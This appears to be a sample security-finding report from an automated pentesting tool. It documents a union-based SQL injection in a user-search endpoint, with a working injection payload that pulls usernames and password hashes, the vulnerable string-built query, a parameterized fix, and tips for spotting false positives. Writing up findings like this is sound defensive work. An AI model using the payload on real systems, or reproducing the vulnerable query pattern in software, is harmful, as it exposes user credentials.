## Contents

- [CRITICAL] SQL Injection in /api/users/search
- Proof of Concept
- Response Evidence
- Source Code Reference
- Remediation
- False Positive Identification

## [CRITICAL] SQL Injection in /api/users/search

**Endpoint:** GET /api/users/search?q=
**Parameter:** q
**Type:** Union-based SQL injection

### Proof of Concept
GET /api/users/search?q=' UNION SELECT username,password,NULL FROM users--

### Response Evidence
HTTP/1.1 200 OK
[{"username":"admin","password":"$2b$12$...","3":null}]

### Source Code Reference
File: src/routes/users.ts:42
const results = await db.query(`SELECT * FROM users WHERE name LIKE '%${req.query.q}%'`);

### Remediation
Use parameterized queries:
const results = await db.query('SELECT * FROM users WHERE name LIKE $1', [`%${req.query.q}%`]);
```

### False Positive Identification

Shannon's "no exploit, no report" policy minimizes false positives, but review for:

- **Environment-specific**: Exploit only works in test environment (different DB, debug mode)
- **Already mitigated**: WAF or middleware blocks the attack in production but not staging
- **Intended behavior**: Feature that looks like a vulnerability (e.g., admin search returns all users by design)
- **LLM hallucination**: Report claims a vulnerability but the PoC doesn't actually demonstrate impact

Always verify the PoC manually for Critical/High findings before filing tickets.

---